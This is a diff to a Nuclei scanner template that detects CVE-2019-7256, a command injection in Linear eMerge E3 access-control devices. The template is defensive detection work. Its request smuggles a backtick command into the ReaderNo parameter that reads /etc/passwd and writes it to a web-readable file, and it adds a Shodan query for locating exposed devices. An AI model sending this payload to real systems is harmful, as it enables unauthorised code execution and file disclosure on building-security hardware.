diff --git a/http/cves/2019/CVE-2019-7256.yaml b/http/cves/2019/CVE-2019-7256.yaml index aa2db0343a..30f3ff3ffd 100644 --- a/http/cves/2019/CVE-2019-7256.yaml +++ b/http/cves/2019/CVE-2019-7256.yaml @@ -4,7 +4,8 @@ info: name: eMerge E3 1.00-06 - Remote Code Execution author: pikpikcu severity: critical - description: Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities. + description: | + Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities. reference: - https://www.exploit-db.com/exploits/47619 - http://linear-solutions.com/nsc_family/e3-series/ @@ -16,28 +17,33 @@ info: cve-id: CVE-2019-7256 cwe-id: CWE-78 epss-score: 0.97447 - tags: cve,cve2019,emerge,rce,edb metadata: max-request: 2 + verified: "true" + shodan-query: title:"eMerge" + tags: cve,cve2019,emerge,rce,edb + +variables: + file: "{{rand_text_alpha(10)}}" http: - raw: - | - GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1 + GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1 Host: {{Hostname}} - | - GET /nuclei.txt HTTP/1.1 + GET /{{file}}.txt HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - - type: status - status: - - 200 - - type: regex regex: - "root:.*:0:0:" + - type: status + status: + - 200 + # Enhanced by mp on 2022/05/03